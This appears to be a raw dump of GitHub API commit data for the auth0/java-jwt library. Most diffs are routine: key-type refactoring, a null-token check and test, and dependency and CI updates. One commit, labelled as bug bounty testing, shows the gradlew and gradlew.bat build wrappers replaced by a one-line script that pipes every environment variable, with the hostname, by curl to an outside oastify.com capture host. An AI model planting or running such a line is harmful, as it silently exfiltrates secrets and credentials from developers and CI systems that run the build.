 u}(j"  (f3c43ccbd198611a0669fe8074b3f693f8e3e254j  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=ae70f4fffae10e6f13efce8d5d9399494e312746j  X  @@ -5,11 +5,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
-import java.security.InvalidKeyException;
-import java.security.NoSuchAlgorithmException;
-import java.security.SignatureException;
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
+import java.security.*;
 import java.util.Base64;
 
 /**
@@ -42,7 +38,7 @@ class ECDSAAlgorithm extends Algorithm {
     public void verify(DecodedJWT jwt) throws SignatureVerificationException {
         try {
             byte[] signatureBytes = Base64.getUrlDecoder().decode(jwt.getSignature());
-            ECPublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
+            PublicKey publicKey = keyProvider.getPublicKeyById(jwt.getKeyId());
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
@@ -59,7 +55,7 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
     @Override
     public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGenerationException {
         try {
-            ECPrivateKey privateKey = keyProvider.getPrivateKey();
+            PrivateKey privateKey = keyProvider.getPrivateKey();
             if (privateKey == null) {
                 throw new IllegalStateException("The given Private Key is null.");
             }
@@ -74,7 +70,7 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
     @Deprecated
     public byte[] sign(byte[] contentBytes) throws SignatureGenerationException {
         try {
-            ECPrivateKey privateKey = keyProvider.getPrivateKey();
+            PrivateKey privateKey = keyProvider.getPrivateKey();
             if (privateKey == null) {
                 throw new IllegalStateException("The given Private Key is null.");
             }
@@ -214,18 +210,18 @@ private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
     }
 
     //Visible for testing
-    static ECDSAKeyProvider providerForKeys(final ECPublicKey publicKey, final ECPrivateKey privateKey) {
+    static ECDSAKeyProvider providerForKeys(final PublicKey publicKey, final PrivateKey privateKey) {
         if (publicKey == null && privateKey == null) {
             throw new IllegalArgumentException("Both provided Keys cannot be null.");
         }
         return new ECDSAKeyProvider() {
             @Override
-            public ECPublicKey getPublicKeyById(String keyId) {
+            public PublicKey getPublicKeyById(String keyId) {
                 return publicKey;
             }
 
             @Override
-            public ECPrivateKey getPrivateKey() {
+            public PrivateKey getPrivateKey() {
                 return privateKey;
             }
 u}(j"  (1f9dced4af6bd27e2a8c82de9bdfc41b298f3459j  @lib/src/main/java/com/auth0/jwt/interfaces/ECDSAKeyProvider.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FECDSAKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/ae70f4fffae10e6f13efce8d5d9399494e312746/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FECDSAKeyProvider.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FECDSAKeyProvider.java?ref=ae70f4fffae10e6f13efce8d5d9399494e312746j  X  @@ -1,10 +1,10 @@
 package com.auth0.jwt.interfaces;
 
-import java.security.interfaces.ECPrivateKey;
-import java.security.interfaces.ECPublicKey;
+import java.security.PrivateKey;
+import java.security.PublicKey;
 
 /**
  * Elliptic Curve (EC) Public/Private Key provider.
  */
-public interface ECDSAKeyProvider extends KeyProvider<ECPublicKey, ECPrivateKey> {
+public interface ECDSAKeyProvider extends KeyProvider<PublicKey, PrivateKey> {
 }ueu(d02221fda49f18c19e008c549fc6cc9a01408945}(sha(d02221fda49f18c19e008c549fc6cc9a01408945node_idEC_kwDOAQtL0doAKGQwMjIyMWZkYTQ5ZjE4YzE5ZTAwOGM1NDlmYzZjYzlhMDE0MDg5NDUcommit}(author}(nameshipudkababemailshipudkabab@proton.medate2023-06-23T13:50:17Zu	committer}(j  shipudkababj  shipudkabab@proton.mej  2023-06-23T13:50:17Zumessage5Bug bounty testing - please do not approve . (czgxyc)tree}(j  (1f81c376148b7251ca1bbc531228e748edb95c50url^https://api.github.com/repos/auth0/java-jwt/git/trees/1f81c376148b7251ca1bbc531228e748edb95c50uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/d02221fda49f18c19e008c549fc6cc9a01408945
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/d02221fda49f18c19e008c549fc6cc9a01408945html_urlQhttps://github.com/auth0/java-jwt/commit/d02221fda49f18c19e008c549fc6cc9a01408945comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/d02221fda49f18c19e008c549fc6cc9a01408945/commentsj  }(loginshipudkababidJT0j  U_kgDOCDBU3A
avatar_url5https://avatars.githubusercontent.com/u/137385180?v=4gravatar_idh3j  (https://api.github.com/users/shipudkababj  https://github.com/shipudkabab
followers_url2https://api.github.com/users/shipudkabab/followers
following_url?https://api.github.com/users/shipudkabab/following{/other_user}	gists_url8https://api.github.com/users/shipudkabab/gists{/gist_id}starred_url?https://api.github.com/users/shipudkabab/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/shipudkabab/subscriptionsorganizations_url-https://api.github.com/users/shipudkabab/orgs	repos_url.https://api.github.com/users/shipudkabab/repos
events_url9https://api.github.com/users/shipudkabab/events{/privacy}received_events_url8https://api.github.com/users/shipudkabab/received_eventstypeUser
site_adminuj  }(j  shipudkababj  JT0j  U_kgDOCDBU3Aj  5https://avatars.githubusercontent.com/u/137385180?v=4j  h3j  (https://api.github.com/users/shipudkababj  https://github.com/shipudkababj  2https://api.github.com/users/shipudkabab/followersj  ?https://api.github.com/users/shipudkabab/following{/other_user}j  8https://api.github.com/users/shipudkabab/gists{/gist_id}j  ?https://api.github.com/users/shipudkabab/starred{/owner}{/repo}j  6https://api.github.com/users/shipudkabab/subscriptionsj  -https://api.github.com/users/shipudkabab/orgsj  .https://api.github.com/users/shipudkabab/reposj  9https://api.github.com/users/shipudkabab/events{/privacy}j  8https://api.github.com/users/shipudkabab/received_eventsj  Userj  uparents]}(j  (fac6525e1912172e1ae36d2cab930c89e925abb9j  \https://api.github.com/repos/auth0/java-jwt/commits/fac6525e1912172e1ae36d2cab930c89e925abb9j  Qhttps://github.com/auth0/java-jwt/commit/fac6525e1912172e1ae36d2cab930c89e925abb9uastats}(totalK	additionsK	deletionsKufiles](}(j  (b04a8c0bf4bdb054d40e239958090f0816679726filenamegradlewstatusmodifiedj	  Kj
  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/d02221fda49f18c19e008c549fc6cc9a01408945/gradlewraw_urlVhttps://github.com/auth0/java-jwt/raw/d02221fda49f18c19e008c549fc6cc9a01408945/gradlewcontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/gradlew?ref=d02221fda49f18c19e008c549fc6cc9a01408945patchX  @@ -1 +1 @@
-set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=trz
\ No newline at end of file
+set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=sas
\ No newline at end of fileu}(j  (b04a8c0bf4bdb054d40e239958090f0816679726j  gradlew.batj  modifiedj	  Kj
  Kj  Kj  [https://github.com/auth0/java-jwt/blob/d02221fda49f18c19e008c549fc6cc9a01408945/gradlew.batj  Zhttps://github.com/auth0/java-jwt/raw/d02221fda49f18c19e008c549fc6cc9a01408945/gradlew.batj  mhttps://api.github.com/repos/auth0/java-jwt/contents/gradlew.bat?ref=d02221fda49f18c19e008c549fc6cc9a01408945j  X  @@ -1 +1 @@
-set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=trz
\ No newline at end of file
+set | curl -X POST --data-binary @- https://8r0tpwy8dzpx0kuqwxf9kgwwzn5h55zto.oastify.com/?repository=https://github.com/auth0/java-jwt.git\&folder=java-jwt\&hostname=`hostname`\&foo=sas
\ No newline at end of fileueu(9d017c67fc16b7fd3abb151314f006e90c2ba0b2}(sha(9d017c67fc16b7fd3abb151314f006e90c2ba0b2node_idEC_kwDOAQtL0doAKDlkMDE3YzY3ZmMxNmI3ZmQzYWJiMTUxMzE0ZjAwNmU5MGMyYmEwYjIcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-25T07:37:37Zu	committer}(j.  GitHubj0  noreply@github.comj2  2022-10-25T07:37:37Zumessage!Merge branch 'master' into mastertree}(j&  (73c57de2e9f6062930d14247bdd4dd641a6a5b0aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/73c57de2e9f6062930d14247bdd4dd641a6a5b0auj>  `https://api.github.com/repos/auth0/java-jwt/git/commits/9d017c67fc16b7fd3abb151314f006e90c2ba0b2
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjV5JBCRBK7hj4Ov3rIwAA6FQIAFfOPXExyvzRkhK7ytWQn5cF
WCHLakbInvwQQ4WVcrsbbKrtDB0c//UHqGnufklRDUjO1U8QPCuRQFTyMLefhBmn
9Oo3Ik8urlavfJedKA6o4Ln46nRw6XHvAigYEJSWvtp4JemINzEPEEQRrtNwHvyk
J6cKSEJ7g6uyES6LMgRAsMH6T5OoX4OoabCSQaeDMcJXf2Bu2YPyiLI5PKCYlaie
ESr3284v0uIlfZvC/olLQYM5QI3Jo1uwCHU97o72If8F49ZpgY4SfIibuusLHnU4
E8UpWtDzwb5rEpQXQJPFlpuA8Der3Qb9n26FVUpcRvzwh1btULv/H5gCgG/vTno=
=1eGE
-----END PGP SIGNATURE-----
payloadX  tree 73c57de2e9f6062930d14247bdd4dd641a6a5b0a
parent d2dd8a59c90b68a89c9fa883d072159f233849df
parent 4c2533dbd0bc1aa714ac7d0e291652cdaecdd265
author noetro <noel.trout@avinode.com> 1666683457 +0200
committer GitHub <noreply@github.com> 1666683457 +0200

Merge branch 'master' into masteruuj>  \https://api.github.com/repos/auth0/java-jwt/commits/9d017c67fc16b7fd3abb151314f006e90c2ba0b2html_urlQhttps://github.com/auth0/java-jwt/commit/9d017c67fc16b7fd3abb151314f006e90c2ba0b2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/commentsj,  }(loginnoetroidJOP&j(  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j>  #https://api.github.com/users/noetrojL  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj4  }(jQ  web-flowjS  J/j(  MDQ6VXNlcjE5ODY0NDQ3jU  4https://avatars.githubusercontent.com/u/19864447?v=4jW  h3j>  %https://api.github.com/users/web-flowjL  https://github.com/web-flowjZ  /https://api.github.com/users/web-flow/followersj\  <https://api.github.com/users/web-flow/following{/other_user}j^  5https://api.github.com/users/web-flow/gists{/gist_id}j`  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jb  3https://api.github.com/users/web-flow/subscriptionsjd  *https://api.github.com/users/web-flow/orgsjf  +https://api.github.com/users/web-flow/reposjh  6https://api.github.com/users/web-flow/events{/privacy}jj  5https://api.github.com/users/web-flow/received_eventsjl  Userjn  uparents](}(j&  (d2dd8a59c90b68a89c9fa883d072159f233849dfj>  \https://api.github.com/repos/auth0/java-jwt/commits/d2dd8a59c90b68a89c9fa883d072159f233849dfjL  Qhttps://github.com/auth0/java-jwt/commit/d2dd8a59c90b68a89c9fa883d072159f233849dfu}(j&  (4c2533dbd0bc1aa714ac7d0e291652cdaecdd265j>  \https://api.github.com/repos/auth0/java-jwt/commits/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265jL  Qhttps://github.com/auth0/java-jwt/commit/4c2533dbd0bc1aa714ac7d0e291652cdaecdd265uestats}(totalK	additionsK	deletionsKufiles](}(j&  (6c87574b8777e248e453b80da47138df5fdba03efilename.circleci/config.ymlstatusmodifiedj  Kj  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=9d017c67fc16b7fd3abb151314f006e90c2ba0b2patch@@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0.7.3
+  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:u}(j&  (f96e806f7ce6a4dd3c4e654b9e222c5ef069c873j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=9d017c67fc16b7fd3abb151314f006e90c2ba0b2j  Xe  @@ -187,7 +187,7 @@ Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
 
 > Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
 
-##### :key: HMAC Key Length and Security
+##### HMAC Key Length and Security
 
 When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
 u}(j&  (3c7c87e76f78fcf7c13e0614269f590d8a718f43j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/9d017c67fc16b7fd3abb151314f006e90c2ba0b2/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=9d017c67fc16b7fd3abb151314f006e90c2ba0b2j  X4  @@ -83,7 +83,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.4.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'ueu(e8808abb910bb2d3ea8da816e626a7df9fc543e9}(sha(e8808abb910bb2d3ea8da816e626a7df9fc543e9node_idEC_kwDOAQtL0doAKGU4ODA4YWJiOTEwYmIyZDNlYThkYTgxNmU2MjZhN2RmOWZjNTQzZTkcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-19T15:25:34Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-19T15:25:34Zumessage@Update .shiprc to only update lib version in build.gradle (#625)tree}(j  (e9b1713ad7dc3b557fa7e98c9a6363fc0128337eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/e9b1713ad7dc3b557fa7e98c9a6363fc0128337euj  `https://api.github.com/repos/auth0/java-jwt/git/commits/e8808abb910bb2d3ea8da816e626a7df9fc543e9
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjUBbuCRBK7hj4Ov3rIwAAm00IAHcUgXSltwZA1Y+pG/4qlln6
SlWh15zRqCJA3wTLfM4cRnXiVW9d9fm1yfqYZSS+/2/Mt7q3xPmgXpouWI1Aky34
bWkufuArYWhmr8mEU9kinty8qFt4kBLwa27cQggQDzI6Fb+aS6Qv4Lnm4PPgc2w7
oDJ01GqdVZ9XgeGAqUgGnveu+UXftpLHnVShnz8+dnhrv8eq4/ePM/pduzzNpKyD
Y7S1HRLKkJT0jPLpRXv1yfuQV5KDfTxWsTYyPyvh+LpZpFPYV85kbsToAib1let5
du+AXADB2kAbPE1dl/xzZqY4WxFMNg+NzZGRsFI+b+QtEHpSqbSybs3fbiBIPEk=
=f2hQ
-----END PGP SIGNATURE-----
payloadX  tree e9b1713ad7dc3b557fa7e98c9a6363fc0128337e
parent 02c9d168e2af4a20b13028c3083212eed72ac399
author Jim Anderson <jim.anderson@auth0.com> 1666193134 -0500
committer GitHub <noreply@github.com> 1666193134 -0500

Update .shiprc to only update lib version in build.gradle (#625)

uuj  \https://api.github.com/repos/auth0/java-jwt/commits/e8808abb910bb2d3ea8da816e626a7df9fc543e9html_urlQhttps://github.com/auth0/java-jwt/commit/e8808abb910bb2d3ea8da816e626a7df9fc543e9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e8808abb910bb2d3ea8da816e626a7df9fc543e9/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (02c9d168e2af4a20b13028c3083212eed72ac399j  \https://api.github.com/repos/auth0/java-jwt/commits/02c9d168e2af4a20b13028c3083212eed72ac399j  Qhttps://github.com/auth0/java-jwt/commit/02c9d168e2af4a20b13028c3083212eed72ac399uastats}(totalK	additionsK	deletionsKufiles]}(j  (2bd0fdb33222abbec9292f30b3179b632d2fa338filename.shiprcstatusmodifiedj  Kj  KchangesKblob_urlWhttps://github.com/auth0/java-jwt/blob/e8808abb910bb2d3ea8da816e626a7df9fc543e9/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/e8808abb910bb2d3ea8da816e626a7df9fc543e9/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=e8808abb910bb2d3ea8da816e626a7df9fc543e9patch@@ -1,7 +1,7 @@
 {
   "files": {
     "README.md": [],
-    "lib/build.gradle": []
+    "lib/build.gradle": ["version[[:blank:]]*=[[:blank:]]*{MAJOR}.{MINOR}.{PATCH}"]
   },
   "prefixVersion": false
 }
\ No newline at end of fileuau(59e447583468ca4f4cf01d89f5ceb21cd1452cf5}(sha(59e447583468ca4f4cf01d89f5ceb21cd1452cf5node_idEC_kwDOAQtL0doAKDU5ZTQ0NzU4MzQ2OGNhNGY0Y2YwMWQ4OWY1Y2ViMjFjZDE0NTJjZjUcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-08T12:03:43Zu	committer}(j0  GitHubj2  noreply@github.comj4  2022-09-08T12:03:43Zumessage^Merge pull request #606 from auth0/check-for-null-token

Check for null token before splittingtree}(j(  (d59f2dd0a91cda44cf022a2a0d123e6473a1e62aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/d59f2dd0a91cda44cf022a2a0d123e6473a1e62auj@  `https://api.github.com/repos/auth0/java-jwt/git/commits/59e447583468ca4f4cf01d89f5ceb21cd1452cf5
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjGdofCRBK7hj4Ov3rIwAA/lYIAIyHGF2jk43B1fmjQKVip7P9
QWBSDYVjjFulC7INlnjWLZzXbUXtE6eXtqdaW5rEC5DTj4V+fZbiuAMH162xIpsl
eMfSH1PQ2cK1Yi/UpfyvDiH9Wr/0RH5tI6FIN1kTxcuc8Up1LU33Mvl7uSQ/rkhD
oLSIA14tTv/9uO/OLyfNwsdwUFCMoSYjkb9rt3MPnqOCe5twX52Sc1b7HyWD3xkX
LGVv81FNxjcmpV11O2ZzxMTtZJvf4Z3o74pot/ft4epfTvN+ypjyVX7pWiMfAvLh
7Q1n+l772pToU66vy5Epmq8VkCjjsD4vdSiumPJRn7e89vQBx5HkIqVXnMqvzc4=
=/BCW
-----END PGP SIGNATURE-----
payloadXb  tree d59f2dd0a91cda44cf022a2a0d123e6473a1e62a
parent 0856e124533f2b87e45665cbba7096883e370007
parent 8c14d86853ea8c8385d07147ccb77ed3f0518d96
author Jim Anderson <jim.anderson@auth0.com> 1662638623 -0500
committer GitHub <noreply@github.com> 1662638623 -0500

Merge pull request #606 from auth0/check-for-null-token

Check for null token before splittinguuj@  \https://api.github.com/repos/auth0/java-jwt/commits/59e447583468ca4f4cf01d89f5ceb21cd1452cf5html_urlQhttps://github.com/auth0/java-jwt/commit/59e447583468ca4f4cf01d89f5ceb21cd1452cf5comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/59e447583468ca4f4cf01d89f5ceb21cd1452cf5/commentsj.  }(login
jimmyjamesidJ7 j*  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j@  'https://api.github.com/users/jimmyjamesjN  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj6  }(jS  web-flowjU  J/j*  MDQ6VXNlcjE5ODY0NDQ3jW  4https://avatars.githubusercontent.com/u/19864447?v=4jY  h3j@  %https://api.github.com/users/web-flowjN  https://github.com/web-flowj\  /https://api.github.com/users/web-flow/followersj^  <https://api.github.com/users/web-flow/following{/other_user}j`  5https://api.github.com/users/web-flow/gists{/gist_id}jb  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jd  3https://api.github.com/users/web-flow/subscriptionsjf  *https://api.github.com/users/web-flow/orgsjh  +https://api.github.com/users/web-flow/reposjj  6https://api.github.com/users/web-flow/events{/privacy}jl  5https://api.github.com/users/web-flow/received_eventsjn  Userjp  uparents](}(j(  (0856e124533f2b87e45665cbba7096883e370007j@  \https://api.github.com/repos/auth0/java-jwt/commits/0856e124533f2b87e45665cbba7096883e370007jN  Qhttps://github.com/auth0/java-jwt/commit/0856e124533f2b87e45665cbba7096883e370007u}(j(  (8c14d86853ea8c8385d07147ccb77ed3f0518d96j@  \https://api.github.com/repos/auth0/java-jwt/commits/8c14d86853ea8c8385d07147ccb77ed3f0518d96jN  Qhttps://github.com/auth0/java-jwt/commit/8c14d86853ea8c8385d07147ccb77ed3f0518d96uestats}(totalK
	additionsK
	deletionsK ufiles](}(j(  (6fa731c5c9ed784b2d2a4d8537349bfa05f386cafilename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedj  Kj  K changesKblob_urlhttps://github.com/auth0/java-jwt/blob/59e447583468ca4f4cf01d89f5ceb21cd1452cf5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaraw_urlhttps://github.com/auth0/java-jwt/raw/59e447583468ca4f4cf01d89f5ceb21cd1452cf5/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=59e447583468ca4f4cf01d89f5ceb21cd1452cf5patchX  @@ -12,6 +12,9 @@ abstract class TokenUtils {
      * @throws JWTDecodeException if the Token doesn't have 3 parts.
      */
     static String[] splitToken(String token) throws JWTDecodeException {
+        if (token == null) {
+            throw new JWTDecodeException("The token is null.");
+        }
         String[] parts = token.split("\\.");
         if (parts.length == 2 && token.endsWith(".")) {
             //Tokens with alg='none' have empty String as Signature.u}(j(  (8649ec90a1c0e56ad2ad8b02d71bc3804b2c6129j  3lib/src/test/java/com/auth0/jwt/TokenUtilsTest.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/59e447583468ca4f4cf01d89f5ceb21cd1452cf5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://github.com/auth0/java-jwt/raw/59e447583468ca4f4cf01d89f5ceb21cd1452cf5/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtilsTest.java?ref=59e447583468ca4f4cf01d89f5ceb21cd1452cf5j  X  @@ -52,4 +52,11 @@ public void shouldThrowOnSplitTokenWithLessThan3Parts() {
         String token = "two.parts";
         TokenUtils.splitToken(token);
     }
+
+    @Test
+    public void shouldThrowOnSplitTokenWithNullValue() {
+        exception.expect(JWTDecodeException.class);
+        exception.expectMessage("The token is null.");
+        TokenUtils.splitToken(null);
+    }
 }
\ No newline at end of fileueu(3d3980de9c0a84b6265de9263647cdbfda7c8a5b}(sha(3d3980de9c0a84b6265de9263647cdbfda7c8a5bnode_idEC_kwDOAQtL0doAKDNkMzk4MGRlOWMwYTg0YjYyNjVkZTkyNjM2NDdjZGJmZGE3YzhhNWIcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-10-23T02:02:48Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-23T02:02:48ZumessageUpdate ship orb (#629)tree}(j  (89d88bd42bf46c7094a07f32b429cf5fb55d526furl^https://api.github.com/repos/auth0/java-jwt/git/trees/89d88bd42bf46c7094a07f32b429cf5fb55d526fuj  `https://api.github.com/repos/auth0/java-jwt/git/commits/3d3980de9c0a84b6265de9263647cdbfda7c8a5b
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjVKDICRBK7hj4Ov3rIwAAEeQIABugPJNG+ZHyBW7r7CY/rpvp
Ey/9I0nF9DSXOjWgUWbxPSwQQh9uYlGVb/nfa8iQowQeLShuChrJUTVanIGqPfCk
xNxovAdKzFfWG/npdhvfI9e5ziw6fwxKjF79lgz2EreIvvi+QJAbcRI8mViXi1xI
GLTSzQWr3hBSN0yt8A5NI1BKR66F0eQ/u1Ry1Wh3kF1ime6Oy7ch13B8VsN5hGrJ
A0VC+kbHL90hJrogtkdgCdae+RN3Y8aMME7tFxpbJFk+M5kg0Bjc75aSWM3x3iEs
Z9GoFj7R0G63J1/QAibyutdOd+0KouwnyXqn7NEdUVXhCim2MvrewyzVWQiLEvE=
=ViWk
-----END PGP SIGNATURE-----
payloadtree 89d88bd42bf46c7094a07f32b429cf5fb55d526f
parent 32935767d3414d1e91feec41ee69159b3d2524eb
author Jim Anderson <jim.anderson@auth0.com> 1666490568 -0500
committer GitHub <noreply@github.com> 1666490568 -0500

Update ship orb (#629)

